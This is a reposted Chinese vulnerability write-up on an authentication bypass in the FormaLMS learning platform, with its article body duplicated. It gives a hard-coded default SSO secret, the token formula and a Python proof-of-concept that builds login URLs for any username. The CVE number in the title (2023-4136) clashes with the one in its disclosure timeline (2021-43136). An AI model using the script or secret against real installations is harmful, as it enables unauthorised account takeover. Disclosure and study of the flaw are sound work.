CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值

admin 2024年8月21日13:16:30评论31 views字数 4209阅读14分1秒阅读模式

前言

在最近的一项研究活动中,我们偶然发现了 FormaLMS。该项目是一个开源学习管理系统,由 forma.association 构建,面向希望为内部员工、合作伙伴、经销商和卖家提供学习平台的公司。该项目是开源的,可以从主网站下载:formalms.org,测试版本为 2.3。更新:漏洞利用适用于 <= 2.4.4 的版本。

深入挖掘源头

该应用程序使用 PHP 语言编写,并使用自定义路由逻辑将请求转发到特定控制器。该架构有点奇怪,类似于模型视图控制器架构,请求通过“前端控制器”路由,该控制器是位于项目根目录中的 index.php 文件。

对_homepage_base_和_homepagecatalog_base_常量进行快速分析可以得到以下值:路由机制

一旦收到,前端控制器负责通过 r 查询字符串参数解析请求的路由,用 / 拆分字符串并确定要加载哪个控制器和模块(绿色矩形)。

CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值对_homepage_base_和_homepagecatalog_base_常量进行快速分析可以得到以下值:CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值因此我们现在可以重建路由机制:

r参数的第一部分是控制器名称(红色标记) 第二部分是模块名称(绿色标记) 第三部分是方法名称(橙色标记) 末尾附加了“Controller”静态后缀(黄色标记)CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值

授权机制

虽然很明显路由机制允许每个用户任意调用任何类,但授权机制拒绝对应用程序的管理部分(例如文件)执行某些操作AdminrulesAdmController。CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值

总结一下:

前端控制器index.php根据r输入参数实例化一个新类,并调用具有mvc名称的构造函数。 目标类(在本例中为 AdminrulesAdmController)扩展了 AdmController,并且是 Controller 类的子类,它调用具有 mvc 名称的构造函数,然后调用 init 函数 调用“AdmController”的 init() 函数,并根据在代码库各个点声明的 CORE 常量的定义调用 checkRole() 和 checkPerms()。

漏洞

虽然我们试图绕过授权机制没有成功,但是 index.php 前端控制器的一部分引起了我的注意。CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值显然,如果将参数 login_user、time 和 token 传递给查询字符串,应用程序将流向常量中定义的不同位置_sso_:

CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值最后,这个部分显然帮助我们找到了错误:CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值虽然看起来开发人员意识到了这个丑陋的默认值(“orribile questo default” 翻译为“这是一个可怕的默认值”),但这正是促使我们进一步调查的部分。

深入研究 SSO 功能

到目前为止,我们知道,为了访问 sso 功能,应该启用 sso_token 设置。“sso”设置位于网站的管理部分,如上面的屏幕截图所示,它接受 secret 参数的 NULL 值。CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值利用该缺陷 了解了这一点,只需向 index.php 发送一个 HTTP 请求即可,其中包含:

login_user:目标用户名 time:以纪元格式表示的会话到期时间。添加一些时间将有助于规避到期检查 token:计算方式如下:$recalc_token = strtoupper(md5($login_user . ',' . $time . ',' . $secret));sso_secret:默认值为:8ca0f69afeacc7022d1e589221072d6bcf87e39c,或者在某些情况下,如果令牌哈希的 SSO 机密值设置为空,则为空。 按照一个简单的 PoC 脚本来自动化该过程:

import sys
import time
import hashlib


secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c"

def help():
print(f"Usage: {sys.argv[0]} username target_url")
sys.exit()

if len(sys.argv) < 3:
help()

user, url = (sys.argv[1], sys.argv[2])


t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")

token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")
CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值
2021 年 11 月 2 日
前言
在最近的一项研究活动中,我们偶然发现了 FormaLMS。该项目是一个开源学习管理系统,由 forma.association 构建,面向希望为内部员工、合作伙伴、经销商和卖家提供学习平台的公司。该项目是开源的,可以从主网站下载:formalms.org,测试版本为 2.3。更新:漏洞利用适用于 <= 2.4.4 的版本

负责任的披露时间表
日期笔记
2021/10/02已发现漏洞
2021/10/06通知已发送
2021/10/21无人接听。使用网站的联系部分发送第二次通知
2021/11/02公开披露
2021/11/09CVE-2021-43136 已分配
深入挖掘源头
该应用程序使用 PHP 语言编写,并使用自定义路由逻辑将请求转发到特定控制器。该架构有点奇怪,类似于模型视图控制器架构,请求通过“前端控制器”路由,该控制器是位于项目根目录中的 index.php 文件。

路由机制
一旦收到,前端控制器负责通过 r 查询字符串参数解析请求的路由,用 / 拆分字符串并确定要加载哪个控制器和模块(绿色矩形)。路由机制

对_homepage_base_和_homepagecatalog_base_常量进行快速分析可以得到以下值:常量

因此我们现在可以重建路由机制:

r参数的第一部分是控制器名称(红色标记)
第二部分是模块名称(绿色标记)
第三部分是方法名称(橙色标记)
末尾附加了“Controller”静态后缀(黄色标记)
MVC 逻辑

授权机制
虽然很明显路由机制允许每个用户任意调用任何类,但授权机制拒绝对应用程序的管理部分(例如文件)执行某些操作AdminrulesAdmController。

访问控制列表 1访问控制列表 2访问控制列表 3

总结一下:

前端控制器index.php根据r输入参数实例化一个新类,并调用具有mvc名称的构造函数。
目标类(在本例中为 AdminrulesAdmController)扩展了 AdmController,并且是 Controller 类的子类,它调用具有 mvc 名称的构造函数,然后调用 init 函数
调用“AdmController”的 init() 函数,并根据在代码库各个点声明的 CORE 常量的定义调用 checkRole() 和 checkPerms()。
漏洞
虽然我们试图绕过授权机制没有成功,但是 index.php 前端控制器的一部分引起了我的注意。前端控制器

显然,如果将参数 login_user、time 和 token 传递给查询字符串,应用程序将流向常量中定义的不同位置_sso_:sso 恒流

最后,这个部分显然帮助我们找到了错误:有缺陷的代码

虽然看起来开发人员意识到了这个丑陋的默认值(“orribile questo default” 翻译为“这是一个可怕的默认值”),但这正是促使我们进一步调查的部分。

深入研究 SSO 功能
到目前为止,我们知道,为了访问 sso 功能,应该启用 sso_token 设置。“sso”设置位于网站的管理部分,如上面的屏幕截图所示,它接受 secret 参数的 NULL 值。

管理面板

利用该缺陷
了解了这一点,只需向 index.php 发送一个 HTTP 请求即可,其中包含:

login_user:目标用户名
time:以纪元格式表示的会话到期时间。添加一些时间将有助于规避到期检查
token:计算方式如下:
$recalc_token = strtoupper(md5($login_user . ',' . $time . ',' . $secret));
sso_secret:默认值为:8ca0f69afeacc7022d1e589221072d6bcf87e39c,或者在某些情况下,如果令牌哈希的 SSO 机密值设置为空,则为空。
按照一个简单的 PoC 脚本来自动化该过程:

#!/usr/bin/env python
import sys
import time
import hashlib


secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c"

def help():
print(f"Usage: {sys.argv[0]} username target_url")
sys.exit()

if len(sys.argv) < 3:
help()

user, url = (sys.argv[1], sys.argv[2])


t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")

token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")




原文始发于微信公众号(红云谈安全):CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月21日13:16:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-4136 - FormaLMS 导致身份验证绕过的恶意默认值http://cn-sec.com/archives/3083362.html

发表评论

匿名网友 填写信息